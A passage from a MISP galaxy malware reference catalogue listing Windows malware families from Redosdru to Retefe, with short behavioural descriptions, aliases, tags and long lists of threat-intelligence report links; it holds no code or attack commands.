https://www.bleepingcomputer.com/news/security/redline-info-stealing-malware-spread-by-folding-home-phishing/

https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html

https://securelist.com/nullmixer-oodles-of-trojans-in-a-single-dropper/107498/

https://www.bitdefender.com/files/News/CaseStudies/study/415/Bitdefender-PR-Whitepaper-RedLine-creat6109-en-EN.pdf

https://blog.sekoia.io/traffers-a-deep-dive-into-the-information-stealer-ecosystem

https://research.checkpoint.com/2024/stargazers-ghost-network/

https://www.qualys.com/docs/whitepapers/qualys-wp-fake-cracked-software-caught-peddling-redline-stealers-v220606.pdf

https://medium.com/@the_abjuri5t/advice-for-catching-a-redline-stealer-dca126867193

https://go.recordedfuture.com/hubfs/reports/mtp-2021-1014.pdf

https://embee-research.ghost.io/identifying-risepro-panels-using-censys/

https://www.proofpoint.com/us/blog/threat-insight/ta569-socgholish-and-beyond

https://labs.k7computing.com/index.php/credential-stealer-redline-reemerges/

https://blog.morphisec.com/google-ppc-ads-deliver-redline-taurus-and-mini-redline-infostealers

https://embeeresearch.io/practical-queries-for-malware-infrastructure-part-3/

https://www.secureworks.com/research/darktortilla-malware-analysis

https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145

https://embee-research.ghost.io/practical-queries-for-malware-infrastructure-part-3/

https://www.ciphertechsolutions.com/roboski-global-recovery-automation/

https://blog.talosintelligence.com/2021/12/magnat-campaigns-use-malvertising-to.html

https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/

https://www.esentire.com/blog/redline-stealer-masquerades-as-photo-editing-software

https://www.netskope.com/blog/redline-stealer-campaign-using-binance-mystery-box-videos-to-spread-github-hosted-payload

https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/

https://russianpanda.com/2023/11/20/MetaStealer-Redline's-Doppelganger/

https://www.bleepingcomputer.com/news/security/massive-campaign-uses-youtube-to-push-password-stealing-malware/

https://securelist.com/malvertising-through-search-engines/108996/

https://insights.bridewell.com/hubfs/Cyber%20Threat%20Intelligence%20Report%202025.pdf

https://blog.rootshell.be/2022/01/20/sans-isc-redline-stealer-delivered-through-ftp/

https://embee-research.ghost.io/yara-rule-development-il-instructions-in-redline-malware/

https://medium.com/s2wblog/deep-analysis-of-redline-stealer-leaked-credential-with-wcf-7b31901da904

https://unit42.paloaltonetworks.com/lapsus-group/

https://www.proofpoint.com/us/threat-insight/post/new-redline-stealer-distributed-using-coronavirus-themed-email-campaign
https://team-cymru.com/blog/2022/05/25/bablosoft-lowering-the-barrier-of-entry-for-malicious-actors/
https://asec.ahnlab.com/ko/25837/
https://isc.sans.edu/forums/diary/RedLine+Stealer+Delivered+Through+FTP/28258/
https://www.spamhaus.org/resource-hub/botnet-c-c/botnet-threat-update-january-to-june-2025/
https://threatresearch.ext.hp.com/redline-stealer-disguised-as-a-windows-11-upgrade/
https://www.prodaft.com/m/reports/RIG_TLP_CLEAR-1.pdf
https://securityscorecard.com/research/detailed-analysis-redline-stealer
https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/
https://blog.talosintelligence.com/2022/04/haskers-gang-zingostealer.html
https://intel471.com/blog/privateloader-malware
https://www.bleepingcomputer.com/news/security/fake-windows-11-upgrade-installers-infect-you-with-redline-malware/
https://blog.minerva-labs.com/underminer-exploit-kit-the-more-you-check-the-more-evasive-you-become
https://blogs.blackberry.com/en/2021/07/threat-thursday-redline-infostealer
https://www.secureworks.com/research/the-growing-threat-from-infostealers
https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf
https://info.spamhaus.com/hubfs/Botnet%20Reports/Jul-Dec%202024%20Botnet%20Threat%20Update.pdf
https://www.youtube.com/watch?v=05-1Olqf6qw

Redosdru

Redosdru is a malware family that primarily acts as a downloader. Upon execution, it may drop downloaded DLLs in the "%ProgramFiles%\AppPatch" directory. The malware modifies the Windows registry to ensure its persistence, adding entries to run automatically at system startup.

The tag is: *misp-galaxy:malpedia="Redosdru"*

Redosdru is also known as:

Table 4927. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.redosdru

https://medium.com/@andrew.petrus/reverse-engineering-redosdru-string-decryption-595599087dbb
https://securitynews.sonicwall.com/xmlpost/redosdru-v-malware-that-hides-in-encrypted-dll-files-to-avoid-detection-by-firewalls-may-112016/

REDPEPPER

The tag is: *misp-galaxy:malpedia="REDPEPPER"*

REDPEPPER is also known as:

- Adupib

Table 4928. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.redpepper
https://twitter.com/ItsReallyNick/status/1136502701301346305

RedRum

Ransomware.

The tag is: *misp-galaxy:malpedia="RedRum"*

RedRum is also known as:

- Grinch
- Thanos
- Tycoon

Table 4929. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.redrum
https://id-ransomware.blogspot.com/2019/12/redrum-ransomware.html

REDSALT

The tag is: *misp-galaxy:malpedia="REDSALT"*

REDSALT is also known as:

- Dipsind

Table 4930. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.redsalt
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s01-hunting-for-platinum.pdf
https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/twoforonefinal.pdf
https://twitter.com/ItsReallyNick/status/1136502701301346305

REDSHAWL

REDSHAWL is a session hijacking utility that starts a new process as another user currently logged on to the same system via command-line.

The tag is: *misp-galaxy:malpedia="REDSHAWL"*

REDSHAWL is also known as:

Table 4931. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.redshawl
https://www.virusbulletin.com/uploads/pdf/magazine/2018/VB2018-Kalnai-Poslusny.pdf
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180244/Lazarus_Under_The_Hood_PDF_final.pdf
https://securelist.com/lazarus-under-the-hood/77908/
https://content.fireeye.com/apt/rpt-apt38

Redyms

The tag is: *misp-galaxy:malpedia="Redyms"*

Redyms is also known as:

Table 4932. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.redyms
https://www.welivesecurity.com/2013/02/04/what-do-win32redyms-and-tdl4-have-in-common/

Red Alert

The tag is: *misp-galaxy:malpedia="Red Alert"*

Red Alert is also known as:

Table 4933. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.red_alert
https://twitter.com/JaromirHorejsi/status/816237293073797121

Red Gambler

The tag is: *misp-galaxy:malpedia="Red Gambler"*

Red Gambler is also known as:

Table 4934. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.red_gambler
http://image.ahnlab.com/file_upload/asecissue_files/ASEC%20REPORT_vol.91.pdf

ReedBed

ReedBed, identified as a malware proxy backdoor, is suspected to be developed by QAKBOT devs, and was deployed by the threat actor Storm-1811 in campaigns observed during late October and early November 2024. These campaigns are typically initiated with email bombing, a tactic involving mass email distribution, followed by social engineering strategies where the actor impersonates help desk personnel to gain access to victim systems.

Upon execution, ReedBed ensures single-instance operation via the mutex "JhishdiI2Uhsvoc94keiojn7ns19m0do" and hooks critical system APIs (NtCreateUserProcess, RtlExitUserProcess) for defense evasion, process interference, and anti-termination. It reads its Command and Control (C2) configuration, typically from the "Software\TitanPlus" registry key, establishes a persistent SSL/TLS encrypted connection, and transmits an initial system information beacon. Subsequently, ReedBed enters its main operational loop, acting as a versatile network proxy based on C2 commands; this includes initiating outgoing TCP connections, relaying data bi-directionally, and establishing reverse SOCKS5 (with authentication) or direct TCP port mapping services via locally opened listening ports. If commanded or upon connection failure, it transitions into a restart/wait cycle guided by registry values, leveraging its hooked exit function to hinder termination before attempting to reconnect to the C2.

The tag is: *misp-galaxy:malpedia="ReedBed"*

ReedBed is also known as:

Table 4935. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.reedbed
https://medium.com/walmartglobaltech/qbot-is-back-connect-2d774052369f

https://www.reliaquest.com/blog/blink-and-theyre-in-how-rapid-phishing-attacks-exploit-weaknesses/
https://cyber.levelblue.com/m/356d41d295da03cc/original/WP-LevelBlue-MDRs-Guide-Against-Black-Basta.docx
https://x.com/MsftSecIntel/status/1881751635598139714
https://www.esentire.com/security-advisories/ongoing-email-bombing-campaigns-leading-to-remote-access-and-post-exploitation
https://www.linkedin.com/pulse/attackers-leveraging-microsoft-teams-defaults-quick-assist-p1u5c
https://www.trendmicro.com/en_us/research/25/b/black-basta-cactus-ransomware-backconnect.html
https://github.com/PaloAltoNetworks/Unit42-timely-threat-intel/blob/main/2025-01-17-IOCs-for-infrastructure-used-by-affiliate-of-Dark-Scorpius.txt
https://news.sophos.com/en-us/2025/01/21/sophos-mdr-tracks-two-ransomware-campaigns-using-email-bombing-microsoft-teams-vishing/

reGeorg

The tag is: *misp-galaxy:malpedia="reGeorg"*

reGeorg is also known as:

Table 4936. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.regeorg
https://sensepost.com/discover/tools/reGeorg/
https://www.synacktiv.com/en/publications/open-source-toolset-of-an-ivanti-csa-attacker
https://securelist.com/defttorero-tactics-techniques-and-procedures/107610/
https://www.secureworks.com/blog/ransomware-deployed-by-adversary
https://www.sygnia.co/threat-reports-and-advisories/weaver-ant-tracking-a-china-nexus-cyber-espionage-operation/
https://www.secureworks.com/research/samsam-ransomware-campaigns
https://blog.bushidotoken.net/2024/09/the-russian-apt-tool-matrix.html
https://github.com/sensepost/reGeorg
https://www.welivesecurity.com/2022/09/06/worok-big-picture/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2023-CTI-009.pdf
https://blog.talosintelligence.com/new-zardoor-backdoor/
https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/
https://cert.gov.ua/article/6278706

https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF

Regin

Regin is a sophisticated malware and hacking toolkit attributed to United States' National Security Agency (NSA) for government spying operations. It was first publicly revealed by Kaspersky Lab, Symantec, and The Intercept in November 2014. Regin malware targeted victims in a range of industries, telecom, government, and financial institutions. It was engineered to be modular and over time dozens of modules have been found and attributed to this family. Symantec observed around 100 infections in 10 different countries across a variety of organisations including private companies, government entities, and research institutes.

The tag is: *misp-galaxy:malpedia="Regin"*

Regin is also known as:

Table 4937. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.regin
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=ce2df4da-afe9-4a24-b28c-0fb3ba671d95&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://securelist.com/big-threats-using-code-similarity-part-1/97239/
https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/regin-top-tier-espionage-tool-15-en.pdf
https://www.kaspersky.com/blog/regin-apt-most-sophisticated/6852/
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf
https://www.youtube.com/watch?v=jeLd-gw2bWo
https://securelist.com/regin-nation-state-ownage-of-gsm-networks/67741/
https://www.epicturla.com/previous-works/hitb2020-voltron-sta

RegretLocker

According to PCrisk, RegretLocker is malicious software classified as ransomware. Systems infected with this malware have their data encrypted and users receive ransom demands for decryption. During the encryption process, all affected files are appended with the ".mouse" extension.

The tag is: *misp-galaxy:malpedia="RegretLocker"*

RegretLocker is also known as:

Table 4938. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.regretlocker
https://www.bleepingcomputer.com/news/security/new-regretlocker-ransomware-targets-windows-virtual-machines/
https://twitter.com/malwrhunterteam/status/1321375502179905536
http://chuongdong.com/reverse%20engineering/2020/11/17/RegretLocker/

RekenSom

Ransomware.

The tag is: *misp-galaxy:malpedia="RekenSom"*

RekenSom is also known as:

- GHack Ransomware

Table 4939. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rekensom
https://id-ransomware.blogspot.com/2020/03/rekensom-ransomware.html

win.rekoobe

A Trojan for Winows with the same code structure and functionalities of elf.rekoobe, for Linux environment instead.

The tag is: *misp-galaxy:malpedia="win.rekoobe"*

win.rekoobe is also known as:

- tinyshell.win
- tshd.win

Table 4940. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rekoobew
https://www.mandiant.com/resources/fin13-cybercriminal-mexico
https://yoroi.company/research/shadows-from-the-past-threaten-italian-enterprises/

Rekt Loader

The tag is: *misp-galaxy:malpedia="Rekt Loader"*

Rekt Loader is also known as:

Table 4941. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rektloader
https://blog.prevailion.com/2020/03/the-curious-case-of-criminal-curriculum.html

Rektware

The tag is: *misp-galaxy:malpedia="Rektware"*

Rektware is also known as:

- PRZT Ransomware

Table 4942. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rektware
https://id-ransomware.blogspot.com/2018/09/rektware-ransomware.html

RelicRace

The tag is: *misp-galaxy:malpedia="RelicRace"*

RelicRace is also known as:

Table 4943. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.relic_race
https://cert.gov.ua/article/955924

RemCom

The tag is: *misp-galaxy:malpedia="RemCom"*

RemCom is also known as:

- RemoteCommandExecution

Table 4944. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.remcom
https://unit42.paloaltonetworks.com/stately-taurus-attacks-se-asian-government/

http://www.secureworks.com/research/threat-profiles/gold-franklin
https://doublepulsar.com/second-zerologon-attacker-seen-exploiting-internet-honeypot-c7fb074451ef

Remcos

Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.

Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns. Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user. Remcos is developed by the cybersecurity company BreakingSecurity.

The tag is: *misp-galaxy:malpedia="Remcos"*

Remcos is also known as:

- RemcosRAT
- Remvio
- Socmer

Table 4945. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos
https://blog.360totalsecurity.com/en/vendetta-new-threat-actor-from-europe/
https://thehackernews.com/2025/03/blind-eagle-hacks-colombian.html
https://www.welivesecurity.com/2021/10/06/moon-hack-fake-safemoon-cryptocurrency-app-drops-malware-spy/
https://muha2xmad.github.io/unpacking/remcos/
https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/steganoamor-campaign-ta558-mass-attacking-companies-and-public-institutions-all-around-the-world/
https://www.esentire.com/blog/remcos-rat
https://www.nimanthadeshappriya.com/post/rats-on-the-island
https://socprime.com/blog/new-phishing-attack-detection-attributed-to-the-uac-0050-and-uac-0096-groups-spreading-remcos-spyware/
https://blog.fortinet.com/2017/02/14/remcos-a-new-rat-in-the-wild-2
https://www.proofpoint.com/us/blog/threat-insight/commodity-net-packers-use-embedded-images-hide-payloads

https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf

https://www.genians.co.kr/en/blog/threat_intelligence/android

https://www.bitdefender.com/files/News/CaseStudies/study/390/Bitdefender-PR-Whitepaper-Remcos-creat5080-en-EN-GenericUse.pdf

https://info.spamhaus.com/hubfs/Botnet%20Reports/Jan-Jun%202024%20Botnet%20Threat%20Update.pdf

https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter

https://blog.talosintelligence.com/rats-and-stealers-rush-through-heavens/

https://www.uptycs.com/blog/remcos-rat-uac-0500-pipe-method

https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html

https://research.checkpoint.com/2024/foxit-pdf-flawed-design-exploitation/

https://www.sonicwall.com/blog/remcos-rat-targets-europe-new-amsi-and-etw-evasion-tactics-uncovered

https://secrary.com/ReversingMalware/RemcosRAT/

https://cert.gov.ua/article/6276652

https://labs.k7computing.com/index.php/unknown-ttps-of-remcos-rat/

https://github.com/1d8/analyses/blob/master/RemcosDocDropper.MD

https://go.recordedfuture.com/hubfs/reports/cta-2025-0130.pdf

https://medium.com/@amgedwageh/analysis-of-an-autoit-script-that-wraps-a-remcos-rat-6b5b66075b87

https://blog.morphisec.com/nft-malware-new-evasion-abilities

https://www.loginsoft.com/post/blue-screen-mayhem-when-crowdstrikes-glitch-became-threat-actors-playground

https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/

https://www.intrinsec.com/wp-content/uploads/2025/11/INTRINSEC-2025-Threat-Report-Trouble_in_the_air.pdf

https://blog.morphisec.com/hubfs/Journey%20of%20a%20Crypto%20Scammer%20-%20NFT-001%20%7C%20Morphisec%20%7C%20Threat%20Report.pdf

https://socprime.com/blog/remcos-rat-detection-uac-0050-hackers-launch-phishing-attacks-impersonating-the-security-service-of-ukraine/

https://www.logpoint.com/wp-content/uploads/2024/03/logpoint-etpr-a-comprehensive-overview-on-stealer-malware-families.pdf

https://www.zscaler.com/blogs/security-research/latest-version-amadey-introduces-screen-capturing-and-pushes-remcos-rat

https://threatresearch.ext.hp.com/malware-campaigns-targeting-african-banking-sector/

https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf
https://securelist.com/mysterious-elephant-apt-ttps-and-tools/117596/
https://www.jaiminton.com/reverse-engineering/remcos#
https://cert.gov.ua/article/3804703
https://medium.com/@b.magnezi/malware-analysis-ramcos-rat-48fd986328f5
https://securityintelligence.com/posts/roboski-global-recovery-automation/
https://blog.morphisec.com/tracking-hcrypt-an-active-crypter-as-a-service
https://blog.morphisec.com/the-babadeda-crypter-targeting-crypto-nft-defi-communities
https://blog.checkpoint.com/2019/06/19/sandblast-agent-phishing-germany-campaign-security-hack-ransomware/
https://www.recordedfuture.com/research/tag-144s-persistent-grip-on-south-american-organizations
https://github.com/itaymigdal/malware-analysis-writeups/blob/main/Remcos/Remcos.md
https://isc.sans.edu/forums/diary/Remcos+RAT+Delivered+Through+Double+Compressed+Archive/28354/
https://research.checkpoint.com/2023/unveiling-the-shadows-the-dark-alliance-between-guloader-and-remcos/
https://blog.malwarebytes.com/threat-analysis/2021/07/remcos-rat-delivered-via-visual-basic/
https://logpoint.com/hubfs/blog_assets/logpoint-etpr-a-comprehensive-overview-on-stealer-malware-families-1.pdf?hsLang=en
https://myonlinesecurity.co.uk/fake-order-spoofed-from-finchers-ltd-sankyo-rubber-delivers-remcos-rat-via-ace-attachments/
https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q2%20Botnet%20Threat%20Update.pdf
https://blog.talosintelligence.com/2020/04/azorult-brings-friends-to-party.html
https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q3%20Botnet%20Threat%20Update.pdf
https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf
https://www.fortinet.com/blog/threat-research/new-variant-of-remcos-rat-observed-in-the-wild.html
https://www.elastic.co/security-labs/dissecting-remcos-rat-part-three
https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/
https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/
https://www.telsy.com/download/4832/

https://www.trendmicro.com/en_us/research/21/k/campaign-abusing-rats-uses-fake-websites.html

https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/

https://news.sophos.com/en-us/2022/07/20/ooda-x-ops-takes-on-burgeoning-sql-server-attacks/

https://blog.talosintelligence.com/2020/06/tor2mine-is-up-to-their-old-tricks-and_11.html

https://embeeresearch.io/decoding-a-remcos-loader-script-visual-basic-deobfuscation/

https://www.malwarebytes.com/blog/threat-intelligence/2022/20221121-threat-intel-report-final.pdf

https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf

https://www.youtube.com/watch?v=DIH4SvKuktM

https://krabsonsecurity.com/2018/03/02/analysing-remcos-rats-executable/

https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ipfs-a-new-data-frontier-or-a-new-cybercriminal-hideout

https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt

https://www.gdatasoftware.com/blog/global-pandemic-remcos-tesla-netwire

https://info.spamhaus.com/hubfs/Botnet%20Reports/Q4%202023%20Botnet%20Threat%20Update.pdf

https://www.splunk.com/en_us/blog/security/detecting-malware-script-loaders-using-remcos-threat-research-release-december-2021.html

https://perception-point.io/behind-the-attack-remcos-rat/

https://asec.ahnlab.com/ko/32101/

https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage

https://securityintelligence.com/x-force/spam-trends-campaigns-senior-superlatives-2023/

https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/

https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware

http://malware-traffic-analysis.net/2017/12/22/index.html

https://www.connectwise.com/resources/formbook-remcos-rat

https://www.aryaka.com/blog/remcos-rat-network-c2-analysis/

https://www.bitdefender.com/blog/hotforsecurity/bitdefender-labs-sees-increased-malicious-and-scam-activity-exploiting-the-war-in-ukraine

https://www.trendmicro.com/en_ca/research/19/h/analysis-new-remcos-rat-arrives-via-phishing-email.html

https://www.elastic.co/security-labs/dissecting-remcos-rat-part-one

https://0xmrmagnezi.github.io/malware%20analysis/RemcosRAT/
https://research.checkpoint.com/2025/blind-eagle-and-justice-for-all/
https://embeeresearch.io/practical-queries-for-malware-infrastructure-part-3/
https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols
https://news.sophos.com/en-us/2020/05/14/raticate/
https://infosecwriteups.com/unfolding-remcos-rat-4-9-2-pro-dfb3cb25bbd1
https://embee-research.ghost.io/practical-queries-for-malware-infrastructure-part-3/
https://www.bleepingcomputer.com/news/security/russia-ukraine-war-exploited-as-lure-for-malware-distribution/
https://www.ciphertechsolutions.com/roboski-global-recovery-automation/
https://asec.ahnlab.com/en/32376/
https://www.intrinsec.com/wp-content/uploads/2025/03/TLP-CLEAR-From-espionage-to-PsyOps-Tracking-operations-and-infrastructure-of-UACs-in-2025-EN-1.pdf
https://blog.morphisec.com/remcos-trojan-analyzing-attack-chain
https://www.splunk.com/en_us/blog/security/fin7-tools-resurface-in-the-field-splinter-or-copycat.html
https://www.anomali.com/blog/threat-actors-use-msbuild-to-deliver-rats-filelessly
https://dissectingmalwa.re/malicious-ratatouille.html
https://www.fortinet.com/blog/threat-research/new-campaign-uses-remcos-rat-to-exploit-victims
https://www.vmray.com/cyber-security-blog/smart-memory-dumping/
https://www.elastic.co/security-labs/dissecting-remcos-rat-part-four
https://www.proofpoint.com/us/blog/threat-insight/new-threat-actor-spoofs-philippine-government-covid-19-health-data-widespread
https://www.microsoft.com/en-us/security/blog/2023/04/13/threat-actors-strive-to-cause-tax-day-headaches/
https://muha2xmad.github.io/mal-document/remcosdoc/
https://www.fortinet.com/blog/threat-research/latest-remcos-rat-phishing
https://www.microsoft.com/en-us/security/blog/2025/04/03/threat-actors-leverage-tax-season-to-deploy-tax-themed-phishing-campaigns/
https://asec.ahnlab.com/ko/25837/
https://blog.talosintelligence.com/gamaredon-campaign-distribute-remcos/
https://www.trellix.com/en-us/about/newsroom/stories/research/cyberattacks-targeting-ukraine-increase.html
https://www.socinvestigation.com/remcos-rat-new-ttps-detection-response/
https://www.spamhaus.org/resource-hub/botnet-c-c/botnet-threat-update-january-to-june-2025/
https://gi7w0rm.medium.com/cloudeye-from-lnk-to-shellcode-4b5f1d6d877

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cyber-attackers-leverage-russia-ukraine-conflict-in-multiple-spam-campaigns
https://www.proofpoint.com/us/threat-insight/post/coronavirus-threat-landscape-update
https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/
https://www.zscaler.com/blogs/security-research/dbatloader-actively-distributing-malwares-targeting-european-businesses
https://intel471.com/blog/privateloader-malware
https://cert.gov.ua/article/3931296
https://embee-research.ghost.io/decoding-a-remcos-loader-script-visual-basic-deobfuscation/
https://www.cybereason.com/blog/cybereason-exposes-malware-targeting-us-taxpayers
https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf
https://info.spamhaus.com/hubfs/Botnet%20Reports/Jul-Dec%202024%20Botnet%20Threat%20Update.pdf
https://www.elastic.co/security-labs/dissecting-remcos-rat-part-two

Remexi

Remexi is a highly advanced and stealthy malware discovered in recent times. It employs sophisticated evasion techniques to infiltrate target systems and networks undetected. This malware utilizes various propagation vectors, including exploit kits, social engineering tactics, and compromised websites. Once inside a system, Remexi establishes persistence through rootkit capabilities and leverages coAmmand-and-control infrastructure to receive and execute malicious commands. It possesses keylogging and data exfiltration capabilities, enabling it to steal sensitive information such as login credentials and financial data. Additionally, Remexi can download and execute additional payloads, making it adaptable and capable of evolving its malicious activities over time.

The tag is: *misp-galaxy:malpedia="Remexi"*

Remexi is also known as:

- CACHEMONEY

Table 4946. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.remexi
https://www.secureworks.com/research/threat-profiles/cobalt-hickman
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions
https://securelist.com/chafer-used-remexi-malware/89538/

https://twitter.com/QW5kcmV3/status/1095833216605401088
https://www.symantec.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions
https://bitdefender.com/files/News/CaseStudies/study/332/Bitdefender-Whitepaper-Chafer-creat4491-en-EN-interactive.pdf
http://www.symantec.com/content/en/us/enterprise/media/security_response/docs/CadelSpy-Remexi-IOC.pdf
https://web.archive.org/web/20191221064439/https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets

RemoteAdmin

The tag is: *misp-galaxy:malpedia="RemoteAdmin"*

RemoteAdmin is also known as:

Table 4947. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.remoteadmin
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=hacktool:win32/remoteadmin&ThreatID=2147731874

RemoteControl

The tag is: *misp-galaxy:malpedia="RemoteControl"*

RemoteControl is also known as:

- remotecontrolclient

Table 4948. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.remotecontrolclient
https://github.com/frozleaf/RemoteControl

Remsec

The tag is: *misp-galaxy:malpedia="Remsec"*

Remsec is also known as:

Table 4949. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.remsec_strider
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=ce2df4da-afe9-4a24-b28c-0fb3ba671d95&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://artemonsecurity.blogspot.com/2016/10/remsec-driver-analysis-part-2.html
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf
https://artemonsecurity.blogspot.com/2016/10/remsec-driver-analysis-part-3.html
https://artemonsecurity.blogspot.com/2016/10/remsec-driver-analysis.html

Remy

The tag is: *misp-galaxy:malpedia="Remy"*

Remy is also known as:

- WINDSHIELD

Table 4950. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.remy
https://www.secureworks.com/research/threat-profiles/tin-woodlawn
https://threatvector.cylance.com/en_us/home/report-oceanlotus-apt-group-leveraging-steganography.html

Rerdom

The tag is: *misp-galaxy:malpedia="Rerdom"*

Rerdom is also known as:

Table 4951. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rerdom
https://www.coresecurity.com/sites/default/files/resources/2017/03/Behind_Malware_Infection_Chain.pdf

Reshell

The tag is: *misp-galaxy:malpedia="Reshell"*

Reshell is also known as:

Table 4952. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.reshell
https://www.trendmicro.com/en_us/research/24/c/earth-krahang.html
https://unit42.paloaltonetworks.com/alloy-taurus-targets-se-asian-government/

Resident

According to Cisco Talos, Resident is a backdoor likely developed by the same author as win.warmcookie, and it was observed being delivered in intrusions they attribute to TA866.

The tag is: *misp-galaxy:malpedia="Resident"*

Resident is also known as:

Table 4953. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.resident
https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign
https://blog.talosintelligence.com/highlighting-ta866-asylum-ambuscade/

Retadup

The tag is: *misp-galaxy:malpedia="Retadup"*

Retadup is also known as:

Table 4954. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.retadup
http://blog.trendmicro.com/trendlabs-security-intelligence/information-stealer-found-hitting-israeli-hospitals/
https://decoded.avast.io/janvojtesek/putting-an-end-to-retadup-a-malicious-worm-that-infected-hundreds-of-thousands/

Retefe (Windows)

